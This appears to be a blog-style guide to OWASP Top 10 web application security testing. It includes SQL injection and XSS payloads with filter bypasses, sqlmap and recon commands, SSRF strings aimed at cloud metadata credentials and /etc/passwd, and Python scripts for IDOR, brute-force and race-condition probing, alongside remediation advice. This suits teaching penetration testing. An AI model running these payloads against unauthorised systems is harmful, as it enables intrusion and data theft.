Web applications serve as the primary interface between organizations and their users, making them attractive targets for attackers. The OWASP (Open Web Application Security Project) Foundation estimates that over 90% of attacks on web applications target known vulnerabilities that could have been prevented with proper security testing[1]. Understanding how to systematically identify and remediate these vulnerabilities is essential for developers, security engineers, and penetration testers.
This comprehensive guide explores web application security testing through the lens of OWASP methodologies, covering everything from reconnaissance to exploitation and remediation. Whether you’re conducting security assessments for the first time or refining your testing approach, this guide provides practical techniques and real-world examples for identifying vulnerabilities before attackers do.
The OWASP Testing Framework
The OWASP Web Security Testing Guide (WSTG) provides a comprehensive framework for assessing web application security[2]. This methodology breaks down testing into distinct phases and categories, ensuring systematic coverage of potential vulnerabilities.
Testing Phases
Phase 1: Information Gathering
- Identify application components
- Map the attack surface
- Understand technologies in use
- Document entry points and data flows
Phase 2: Configuration and Deployment Testing
- Verify security configurations
- Identify administrative interfaces
- Check for default credentials
- Assess network configuration
Phase 3: Identity Management Testing
- Test authentication mechanisms
- Validate password policies
- Assess account recovery processes
- Check for privilege escalation paths
Phase 4: Business Logic Testing
- Identify workflow flaws
- Test for race conditions
- Validate transaction integrity
- Check for bypass opportunities
Phase 5: Data Validation Testing
- Test for injection vulnerabilities
- Validate input sanitization
- Check output encoding
- Assess file upload security
OWASP Top 10: Critical Security Risks
The OWASP Top 10 represents the most critical security risks to web applications. Understanding and testing for these vulnerabilities should be the foundation of any security assessment.
A01: Broken Access Control
Broken Access Control occurs when applications fail to properly enforce restrictions on what authenticated users can do. This category jumped from fifth position to first in the latest OWASP Top 10, reflecting its prevalence and severity[3].
Common Access Control Vulnerabilities
- Vertical privilege escalation - Regular users accessing admin functions
- Horizontal privilege escalation - Users accessing other users’ data
- Missing function-level access control - Unprotected API endpoints
- Insecure Direct Object References (IDOR) - Manipulating object identifiers
Testing Methodology
# Test for IDOR vulnerability
# Original request (viewing own profile)
GET /api/user/profile?id=1234 HTTP/1.1
Authorization: Bearer user1234_token
# Test: Try accessing another user's profile
GET /api/user/profile?id=5678 HTTP/1.1
Authorization: Bearer user1234_token
# If successful, IDOR vulnerability exists
Exploitation Example
import requests
def test_idor(base_url, user_token, target_user_ids):
"""Test for IDOR vulnerabilities"""
headers = {
'Authorization': f'Bearer {user_token}',
'Content-Type': 'application/json'
}
vulnerable_endpoints = []
for user_id in target_user_ids:
# Test profile access
response = requests.get(
f'{base_url}/api/user/profile?id={user_id}',
headers=headers
)
if response.status_code == 200:
vulnerable_endpoints.append({
'endpoint': f'/api/user/profile?id={user_id}',
'severity': 'HIGH',
'description': 'Unauthorized access to user profile'
})
return vulnerable_endpoints
A02: Cryptographic Failures
Cryptographic failures (formerly Sensitive Data Exposure) occur when applications fail to protect sensitive data through encryption or when cryptographic implementations contain flaws.
Testing Checklist
- Verify HTTPS is enforced site-wide
- Check for sensitive data in URLs
- Validate certificate configuration
- Test for weak ciphers
- Assess key management practices
SSL/TLS Testing
# Test SSL/TLS configuration with testssl.sh
./testssl.sh --full https://target.example.com
# Test for specific vulnerabilities
./testssl.sh --heartbleed --ccs-injection --poodle https://target.example.com
# Check cipher strength
nmap --script ssl-enum-ciphers -p 443 target.example.com
A03: Injection
Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection remains one of the most dangerous and common vulnerabilities[4].
SQL Injection Testing
-- Basic SQL injection tests
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
admin' #
-- Time-based blind SQL injection
' AND SLEEP(5) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))xyz) --
-- Boolean-based blind SQL injection
' AND 1=1 -- (Should return normal response)
' AND 1=2 -- (Should return different response)
Automated SQL Injection Testing
# SQLMap basic scan
sqlmap -u "http://target.com/page?id=1" --batch
# Deeper scanning with risk and level parameters
sqlmap -u "http://target.com/page?id=1" \
--level=5 \
--risk=3 \
--batch
# POST request testing
sqlmap -u "http://target.com/login" \
--data="username=test&password=test" \
--method=POST \
--batch
# Test with authenticated session
sqlmap -u "http://target.com/page?id=1" \
--cookie="SESSIONID=abc123" \
--batch
Other Injection Types
- Command Injection - OS command execution
- LDAP Injection - LDAP query manipulation
- XPath Injection - XML database queries
- NoSQL Injection - NoSQL database manipulation
- XML Injection - XML parser exploitation
A04: Insecure Design
Insecure Design represents a new category focusing on risks related to design and architectural flaws. These issues cannot be fixed by perfect implementation—they require redesign.
Design Flaw Testing
Look for:
- Missing or ineffective security controls
- Inadequate threat modeling
- Insufficient defense-in-depth
- Business logic vulnerabilities
- Excessive trust in client-side controls
Example: Price Manipulation
// Insecure design: Trusting client-side price
// Client sends:
POST /checkout HTTP/1.1
Content-Type: application/json
{
"item_id": "laptop",
"quantity": 1,
"price": 1000, // Attacker modifies this
"total": 1 // Changed from 1000 to 1
}
// Secure design: Server calculates price
POST /checkout HTTP/1.1
Content-Type: application/json
{
"item_id": "laptop",
"quantity": 1
}
// Server looks up current price and calculates total
A05: Security Misconfiguration
Security misconfiguration includes a wide range of configuration issues that leave applications vulnerable.
Configuration Testing
# Check for directory listing
curl -I http://target.com/uploads/
# Test for exposed configuration files
curl http://target.com/.env
curl http://target.com/.git/config
curl http://target.com/web.config
curl http://target.com/.htaccess
# Check default credentials
curl -u admin:admin http://target.com/admin/
# Test for verbose error messages
curl http://target.com/nonexistent.php
Security Headers Check
import requests
def check_security_headers(url):
"""Verify security headers are present"""
response = requests.get(url)
required_headers = {
'Strict-Transport-Security': 'HSTS protection',
'X-Frame-Options': 'Clickjacking protection',
'X-Content-Type-Options': 'MIME-sniffing protection',
'Content-Security-Policy': 'XSS/injection protection',
'X-XSS-Protection': 'XSS filter'
}
missing_headers = []
for header, description in required_headers.items():
if header not in response.headers:
missing_headers.append(f"{header} ({description})")
return missing_headers
A06: Vulnerable and Outdated Components
Applications using vulnerable components inherit those security flaws. This includes frameworks, libraries, and dependencies.
Component Vulnerability Testing
# Scan for vulnerable dependencies (Node.js)
npm audit
# Check for outdated packages
npm outdated
# Scan with retire.js
retire --path /path/to/application
# Python dependency scanning
pip-audit
# Ruby dependency scanning
bundler-audit check
A07: Identification and Authentication Failures
Authentication vulnerabilities allow attackers to compromise passwords, keys, session tokens, or exploit implementation flaws to assume users’ identities.
Authentication Testing
import requests
import time
def test_brute_force_protection(url, username):
"""Test for brute force protection"""
passwords = ['password123', 'admin123', 'test123']
for password in passwords:
start_time = time.time()
response = requests.post(
url,
data={'username': username, 'password': password}
)
elapsed = time.time() - start_time
# Check if account gets locked
if 'locked' in response.text.lower():
return "Account lockout implemented"
# Check for rate limiting
if elapsed > 2:
return "Rate limiting detected"
return "WARNING: No brute force protection detected"
def test_weak_passwords(url):
"""Test if weak passwords are accepted"""
weak_passwords = ['123456', 'password', 'admin', 'test']
# Attempt registration with weak passwords
for pwd in weak_passwords:
response = requests.post(
f'{url}/register',
data={
'username': f'test_{pwd}',
'password': pwd,
'email': f'[email protected]'
}
)
if response.status_code == 200:
return f"WARNING: Weak password accepted: {pwd}"
return "Strong password policy enforced"
Session Management Testing
# Test for session fixation
# 1. Get session ID before login
curl -c cookies.txt http://target.com/login
# 2. Login with that session ID
curl -b cookies.txt -d "username=admin&password=pass" http://target.com/login
# 3. Check if session ID changed
curl -b cookies.txt http://target.com/dashboard
# Test session timeout
# 1. Login and get session
# 2. Wait beyond expected timeout
# 3. Try to access protected resource
# 4. Should be denied if timeout works
A08: Software and Data Integrity Failures
This category focuses on code and infrastructure that doesn’t protect against integrity violations, such as using unverified CI/CD pipelines or untrusted sources.
Integrity Testing
# Check for Subresource Integrity (SRI)
curl http://target.com/ | grep -i "integrity="
# Verify CDN resources use SRI
<script src="https://cdn.example.com/library.js"
integrity="sha384-hash"
crossorigin="anonymous"></script>
# Check update mechanisms
# - Are updates signed?
# - Is HTTPS enforced?
# - Are checksums verified?
A09: Security Logging and Monitoring Failures
Insufficient logging and monitoring allows breaches to go undetected. Security teams need visibility into application security events.
Logging Assessment
def assess_logging(application_logs):
"""Assess security logging completeness"""
required_events = [
'login_attempts',
'authentication_failures',
'access_control_failures',
'input_validation_failures',
'encryption_failures',
'privilege_changes',
'sensitive_data_access'
]
logged_events = parse_logs(application_logs)
missing_logging = []
for event in required_events:
if event not in logged_events:
missing_logging.append(event)
# Check log detail level
if not contains_user_id(logged_events):
missing_logging.append("user identification")
if not contains_timestamp(logged_events):
missing_logging.append("timestamps")
if not contains_ip_address(logged_events):
missing_logging.append("source IP")
return missing_logging
A10: Server-Side Request Forgery (SSRF)
SSRF flaws occur when web applications fetch remote resources without validating user-supplied URLs, allowing attackers to coerce applications to send requests to unintended locations.
SSRF Testing
# Test for SSRF in image processing
POST /api/process-image HTTP/1.1
Content-Type: application/json
{
"image_url": "http://169.254.169.254/latest/meta-data/"
}
# Cloud metadata service enumeration (AWS)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Internal network scanning
http://192.168.1.1/
http://10.0.0.1/
# File protocol exploitation
file:///etc/passwd
file:///c:/windows/win.ini
Testing Methodology and Tools
Effective security testing combines manual analysis with automated tools, following a structured methodology.
Reconnaissance
Information Gathering
# Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -d target.com
# Directory and file discovery
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Technology fingerprinting
whatweb target.com
wappalyzer target.com
# Google dorking
site:target.com inurl:admin
site:target.com filetype:pdf
site:target.com ext:sql
Intercepting Proxies
Burp Suite Configuration
1. Configure browser to use proxy (127.0.0.1:8080)
2. Import Burp CA certificate
3. Configure scope (only target domain)
4. Enable automatic scanning (Pro)
5. Use repeater for manual testing
Common Burp Suite Testing Patterns
- Intruder - Automated fuzzing and brute force
- Repeater - Manual request manipulation
- Decoder - Encode/decode various formats
- Comparer - Compare responses for subtle differences
- Extensions - Extend functionality (Logger++, Autorize, etc.)
Automated Scanning
While manual testing is crucial, automated scanners provide broad coverage efficiently:
# OWASP ZAP automated scan
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
# Nikto web server scanner
nikto -h http://target.com -output nikto_report.html -Format htm
# Nuclei vulnerability scanner
nuclei -u https://target.com -t cves/ -t vulnerabilities/
# Wapiti vulnerability scanner
wapiti -u http://target.com -f html -o wapiti_report
Advanced Testing Techniques
Business Logic Testing
Business logic flaws often escape automated tools:
Race Condition Testing
import concurrent.futures
import requests
def exploit_race_condition(url, coupon_code):
"""Test for race condition in coupon redemption"""
def redeem_coupon():
return requests.post(
url,
data={'coupon': coupon_code}
)
# Send multiple simultaneous requests
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(redeem_coupon) for _ in range(10)]
results = [future.result() for future in futures]
# Check if multiple redemptions succeeded
successful = sum(1 for r in results if r.status_code == 200)
if successful > 1:
return f"VULNERABILITY: Coupon used {successful} times"
return "Race condition protection working"
Cross-Site Scripting (XSS) Testing
Reflected XSS
// Test payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
// Bypass filters
<ScRiPt>alert('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="eval(atob('YWxlcnQoJ1hTUycp'))">
Stored XSS
def test_stored_xss(url, auth_token):
"""Test for stored XSS vulnerabilities"""
payloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg/onload=alert("XSS")>',
]
for payload in payloads:
# Submit payload (e.g., in comment)
requests.post(
f'{url}/api/comments',
headers={'Authorization': f'Bearer {auth_token}'},
json={'comment': payload}
)
# Retrieve and check if payload executed
response = requests.get(f'{url}/comments')
if payload in response.text:
return f"STORED XSS: Payload persisted: {payload}"
return "No stored XSS detected"
Reporting and Remediation
Effective security testing produces actionable reports that drive remediation.
Report Structure
Executive Summary
- Overall risk assessment
- Critical findings count
- Remediation timeline recommendations
Technical Findings
For each vulnerability:
## SQL Injection in Login Form
**Severity:** Critical
**CVSS Score:** 9.8
**Description:**
The login form at /login.php is vulnerable to SQL injection through the username parameter.
**Evidence:**
```sql
Username: admin' OR '1'='1' --
Password: anything
Result: Successful authentication bypass
Impact:
- Complete database compromise
- User credential theft
- Data manipulation capability
Remediation: Use parameterized queries:
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$username]);
References:
- OWASP: SQL Injection
- CWE-89: SQL Injection
## Related Articles
- [Penetration Testing Tools in Kali Linux](https://terabyte.systems/posts/penetration-testing-tools-kali-linux/)
- [Cloudflare WAF Security Rules](https://terabyte.systems/posts/cloudflare-waf-security-rules/)
- [Complete Penetration Testing Methodology: Professional Guide](https://terabyte.systems/posts/complete-penetration-testing-methodology-professional-guide/)
## Conclusion
Web application security testing is a critical discipline that requires both technical expertise and systematic methodology. The OWASP framework provides an excellent foundation, but effective testing goes beyond following checklists—it requires understanding how applications work, how they can fail, and how attackers think.
Success in web application security testing comes from combining automated tools with manual analysis, staying current with emerging vulnerabilities, and developing strong foundations in secure coding practices. Whether you're a developer aiming to write secure code, a penetration tester identifying vulnerabilities, or a security engineer building defenses, understanding OWASP principles and testing methodologies is essential.
Remember that security testing is not a one-time activity but an ongoing process. As applications evolve, new features introduce new attack surfaces. Regular security assessments, continuous monitoring, and proactive remediation create a security posture that can withstand the ever-evolving threat landscape.
## References
[1] OWASP Foundation. (2024). *OWASP Top 10 - 2021*. Available at: https://owasp.org/Top10/ (Accessed: November 2025)
[2] OWASP Foundation. (2024). *Web Security Testing Guide v4.2*. Available at: https://owasp.org/www-project-web-security-testing-guide/ (Accessed: November 2025)
[3] PortSwigger. (2024). *Web Security Academy: Access Control Vulnerabilities*. Available at: https://portswigger.net/web-security/access-control (Accessed: November 2025)
[4] MITRE. (2024). *CWE-89: SQL Injection*. Available at: https://cwe.mitre.org/data/definitions/89.html (Accessed: November 2025)
[5] OWASP. (2024). *OWASP Zed Attack Proxy (ZAP)*. Available at: https://www.zaproxy.org/ (Accessed: November 2025)